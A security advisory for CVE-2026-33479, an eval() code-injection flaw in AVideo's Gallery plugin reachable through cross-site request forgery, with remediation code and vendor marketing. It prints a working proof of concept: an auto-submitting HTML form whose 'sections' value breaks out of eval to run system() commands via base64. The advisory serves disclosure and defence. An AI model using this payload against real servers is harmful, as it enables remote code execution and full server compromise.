Summary
The Gallery plugin's saveSort.json.php endpoint passes unsanitized user input from $_REQUEST['sections'] array values directly into PHP's eval() function. While the endpoint is gated behind User::isAdmin(), it has no CSRF token validation. Combined with AVideo's explicit SameSite=None session cookie configuration, an attacker can exploit this via cross-site request forgery to achieve unauthenticated remote code execution, requiring only that an admin visits an attacker-controlled page.
Details
Vulnerable code, plugin/Gallery/view/saveSort.json.php:20-25:
if(!empty($_REQUEST['sections'])){
$object = $gallery->getDataObject();
foreach ($_REQUEST['sections'] as $key => $value) {
$obj->sectionsSaved[] = array($key=>$value);
eval("\$object->{$value}Order = \$key;");
}
$obj->error = !$gallery->setDataObject($object);
}
The $value variable from $_REQUEST['sections'] is interpolated directly into the string passed to eval() with no sanitization, no allowlist, no regex validation, no escaping. Normal Gallery usage sends section names like 'Shorts', 'Trending', etc. from jQuery UI sortable, but the server enforces no such constraint.
CSRF enablement, objects/include_config.php:134-137:
if ($isHTTPS) {
ini_set('session.cookie_samesite', 'None');
ini_set('session.cookie_secure', '1');
}
The session cookie is explicitly set to SameSite=None, which instructs browsers to send the cookie on cross-site requests. This is also reinforced in objects/functionsPHP.php:330-333 where additional cookies are set with SameSite=None; Secure.
No CSRF protection, The endpoint performs no CSRF token validation, no Origin header check, no Referer header check, and no X-Requested-With header check. There is no global CSRF middleware in AVideo's bootstrap chain.
Exploit chain:
- Attacker crafts a page with an auto-submitting form targeting
saveSort.json.php - Admin visits the attacker's page (e.g., via a link in a comment, email, or message)
- The browser sends the cross-site POST request with the admin's session cookie attached (due to
SameSite=None) User::isAdmin()passes because the admin's session is present- The injected PHP code in the
sectionsarray value is passed toeval()and executes
PoC
Step 1: Host the following HTML on an attacker-controlled server:
<!DOCTYPE html>
<html>
<body>
<form id="exploit" action="https://TARGET/plugin/Gallery/view/saveSort.json.php" method="POST">
<input type="hidden" name="sections[0]" value="x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//">
</form>
<script>document.getElementById('exploit').submit();</script>
</body>
</html>
The base64 decodes to id;hostname.
Step 2: Lure an authenticated AVideo admin to visit the page.
Step 3: The eval on line 24 executes:
$object->x=1;system(base64_decode('aWQ7aG9zdG5hbWU='));//Order = 0;
This breaks out of the property assignment, calls system() with attacker-controlled arguments, and comments out the rest of the line. The response JSON will contain the command output, but even without seeing the response, the command executes server-side.
Expected result: The id and hostname commands execute on the server under the web server's user context.
Impact
- Remote Code Execution, An attacker achieves arbitrary PHP code execution on the server by luring an admin to visit a malicious page. No prior authentication or account on the target is required.
- Full server compromise, The attacker can read/write files, access the database, pivot to other services, install backdoors, or exfiltrate data.
- Stealth, The attack is a single form submission that completes in milliseconds. The admin may not notice anything unusual.
- Blast radius, Any AVideo instance running over HTTPS (which triggers
SameSite=None) where an admin can be lured to click a link is vulnerable.
Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.
CVE-2026-33479 has a CVSS score of 8.8 (High). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Primary fix, Replace eval() with an allowlist check:
In plugin/Gallery/view/saveSort.json.php, replace lines 20-26:
if(!empty($_REQUEST['sections'])){
$object = $gallery->getDataObject();
$allowedSections = ['Shorts', 'Trending', 'SiteSuggestion', 'Newest',
'Subscribe', 'Popular', 'LiveStream', 'Category',
'Program', 'Channel'];
foreach ($_REQUEST['sections'] as $key => $value) {
if (!in_array($value, $allowedSections, true)) {
continue;
}
$obj->sectionsSaved[] = array($key => $value);
$property = $value . 'Order';
$object->$property = intval($key);
}
$obj->error = !$gallery->setDataObject($object);
}
This eliminates eval() entirely, validates $value against a known allowlist of section names, and uses dynamic property access ($object->$property) instead of code generation.
Secondary fix, Add CSRF protection to all state-changing endpoints, or at minimum set SameSite=Lax on session cookies instead of SameSite=None in objects/include_config.php:135:
ini_set('session.cookie_samesite', 'Lax');
This prevents session cookies from being sent on cross-site form submissions, blocking the CSRF vector for all endpoints.
Frequently Asked Questions
- What is CVE-2026-33479? CVE-2026-33479 is a high-severity code injection vulnerability in wwbn/avideo (composer), affecting versions <= 26.0. No fixed version is listed yet. Untrusted input is evaluated as executable code within the application's runtime environment.
- How severe is CVE-2026-33479? CVE-2026-33479 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of wwbn/avideo are affected by CVE-2026-33479? wwbn/avideo (composer) versions <= 26.0 is affected.
- Is there a fix for CVE-2026-33479? No fixed version is listed for CVE-2026-33479 yet. Monitor the advisory for updates and apply mitigations in the interim.
- Is CVE-2026-33479 exploitable, and should I be worried? Whether CVE-2026-33479 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-33479 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-33479? No fixed version is listed yet. In the interim: Never evaluate untrusted input as code. Use sandboxed evaluation environments if dynamic execution is required.